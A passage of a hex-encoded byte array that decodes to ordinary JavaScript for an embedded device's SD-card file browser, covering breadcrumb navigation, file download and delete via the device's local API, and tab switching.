0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x69, 0x6E, 0x64, 0x65, 0x78, 0x20, 0x3C, 0x20, - 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x2D, 0x20, 0x31, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2E, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x20, 0x3D, 0x20, 0x28, 0x29, 0x20, 0x3D, 0x3E, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, - 0x65, 0x54, 0x6F, 0x42, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x28, 0x69, 0x6E, 0x64, 0x65, 0x78, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, - 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x20, - 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x2D, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x61, 0x62, 0x6C, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2E, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x2E, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x27, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2E, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x2E, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x27, 0x23, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x66, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2E, 0x61, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x43, 0x68, 0x69, 0x6C, 0x64, 0x28, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, - 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x65, 0x49, 0x6E, 0x74, 0x6F, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x6E, 0x64, 0x65, 0x72, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x65, 0x54, 0x6F, 0x42, 0x72, 0x65, 0x61, 0x64, 0x63, - 0x72, 0x75, 0x6D, 0x62, 0x28, 0x69, 0x6E, 0x64, 0x65, 0x78, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x52, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x20, 0x66, 0x6F, 0x6C, - 0x64, 0x65, 0x72, 0x73, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x61, 0x66, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x62, - 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x3D, - 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x73, 0x6C, 0x69, 0x63, 0x65, 0x28, 0x30, 0x2C, 0x20, 0x69, 0x6E, 0x64, 0x65, 0x78, 0x20, 0x2B, 0x20, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x6E, 0x64, 0x65, 0x72, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x62, 0x61, 0x73, 0x65, 0x6E, 0x61, 0x6D, 0x65, 0x28, 0x70, 0x61, 0x74, 0x68, 0x29, 0x20, - 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x70, 0x61, 0x74, 0x68, 0x2E, 0x73, 0x70, 0x6C, 0x69, 0x74, 0x28, 0x27, 0x2F, 0x27, 0x29, 0x2E, 0x72, 0x65, - 0x76, 0x65, 0x72, 0x73, 0x65, 0x28, 0x29, 0x5B, 0x30, 0x5D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x73, 0x79, 0x6E, 0x63, 0x20, - 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x46, 0x69, 0x6C, 0x65, 0x28, 0x66, 0x69, 0x6C, 0x65, 0x50, 0x61, 0x74, 0x68, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, 0x22, 0x2F, 0x61, 0x70, - 0x69, 0x2F, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x2F, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x22, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, - 0x65, 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x22, 0x50, 0x4F, 0x53, 0x54, 0x22, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x3A, - 0x20, 0x7B, 0x20, 0x22, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70, 0x65, 0x22, 0x3A, 0x20, 0x22, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x6A, 0x73, 0x6F, 0x6E, 0x22, 0x20, 0x7D, 0x2C, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x20, 0x4A, 0x53, 0x4F, 0x4E, 0x2E, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x69, 0x66, 0x79, 0x28, 0x7B, - 0x20, 0x70, 0x61, 0x74, 0x68, 0x3A, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x50, 0x61, 0x74, 0x68, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x62, 0x6C, 0x6F, 0x62, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x62, 0x6C, 0x6F, 0x62, 0x28, - 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x75, 0x72, 0x6C, 0x20, 0x3D, 0x20, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x2E, 0x55, - 0x52, 0x4C, 0x2E, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x55, 0x52, 0x4C, 0x28, 0x62, 0x6C, 0x6F, 0x62, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x61, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x22, 0x61, 0x22, 0x29, - 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x2E, 0x68, 0x72, 0x65, 0x66, 0x20, 0x3D, 0x20, 0x75, 0x72, 0x6C, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x2E, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x3D, 0x20, 0x62, 0x61, 0x73, 0x65, 0x6E, 0x61, 0x6D, 0x65, 0x28, 0x66, 0x69, 0x6C, 0x65, 0x50, 0x61, 0x74, 0x68, - 0x29, 0x3B, 0x20, 0x2F, 0x2F, 0x20, 0x55, 0x73, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x61, 0x74, 0x68, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x2E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x2E, 0x55, 0x52, 0x4C, 0x2E, 0x72, 0x65, 0x76, 0x6F, 0x6B, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x55, 0x52, 0x4C, 0x28, 0x75, 0x72, 0x6C, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, - 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, 0x61, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6A, 0x73, 0x6F, 0x6E, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, 0x61, 0x2E, 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x20, 0x7C, 0x7C, 0x20, - 0x22, 0x46, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x2E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x73, 0x79, 0x6E, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, - 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x28, 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x50, 0x61, 0x74, 0x68, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x63, 0x6F, 0x6E, 0x66, 0x69, 0x72, 0x6D, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x20, 0x3D, 0x20, 0x63, 0x6F, 0x6E, 0x66, 0x69, 0x72, 0x6D, - 0x28, 0x22, 0x41, 0x72, 0x65, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x73, 0x75, 0x72, 0x65, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x20, 0x22, 0x20, 0x2B, 0x20, 0x66, 0x69, - 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x20, 0x2B, 0x20, 0x22, 0x3F, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x21, 0x63, 0x6F, 0x6E, 0x66, 0x69, 0x72, 0x6D, - 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x29, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x72, 0x65, 0x73, - 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, 0x22, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x3F, 0x70, 0x61, 0x74, 0x68, 0x3D, 0x22, 0x20, - 0x2B, 0x20, 0x65, 0x6E, 0x63, 0x6F, 0x64, 0x65, 0x55, 0x52, 0x49, 0x28, 0x66, 0x69, 0x6C, 0x65, 0x50, 0x61, 0x74, 0x68, 0x29, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x22, 0x44, 0x45, 0x4C, 0x45, 0x54, 0x45, 0x22, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x73, 0x3A, 0x20, 0x7B, 0x20, 0x22, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70, 0x65, 0x22, 0x3A, 0x20, 0x22, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x6A, 0x73, 0x6F, - 0x6E, 0x22, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, - 0x28, 0x21, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, - 0x65, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, 0x61, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6A, 0x73, 0x6F, 0x6E, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, 0x61, 0x2E, 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x20, 0x7C, 0x7C, 0x20, 0x22, - 0x46, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x2E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x66, 0x65, 0x74, 0x63, 0x68, 0x53, 0x44, 0x43, 0x61, 0x72, 0x64, 0x44, 0x61, 0x74, 0x61, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x74, 0x61, 0x62, 0x20, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x69, 0x6E, 0x67, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6F, 0x70, 0x65, 0x6E, 0x54, 0x61, 0x62, 0x28, 0x65, 0x76, 0x74, 0x2C, 0x20, 0x74, 0x61, 0x62, 0x4E, 0x61, 0x6D, 0x65, 0x29, 0x20, 0x7B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, - 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x42, 0x79, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x4E, 0x61, 0x6D, 0x65, 0x28, 0x22, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x28, 0x6C, 0x65, 0x74, 0x20, 0x69, 0x20, 0x3D, 0x20, 0x30, 0x3B, 0x20, 0x69, 0x20, 0x3C, 0x20, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, - 0x74, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x3B, 0x20, 0x69, 0x2B, 0x2B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, - 0x74, 0x65, 0x6E, 0x74, 0x5B, 0x69, 0x5D, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x72, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x28, 0x22, 0x73, 0x68, 0x6F, 0x77, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x74, 0x61, 0x62, 0x6C, 0x69, 0x6E, 0x6B, 0x73, 0x20, 0x3D, 0x20, 0x64, - 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x42, 0x79, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x4E, 0x61, 0x6D, 0x65, 0x28, 0x22, 0x74, 0x61, 0x62, 0x6C, 0x69, 0x6E, 0x6B, 0x73, - 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x28, 0x6C, 0x65, 0x74, 0x20, 0x69, 0x20, 0x3D, 0x20, 0x30, 0x3B, 0x20, 0x69, 0x20, 0x3C, 0x20, 0x74, 0x61, 0x62, - 0x6C, 0x69, 0x6E, 0x6B, 0x73, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x3B, 0x20, 0x69, 0x2B, 0x2B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 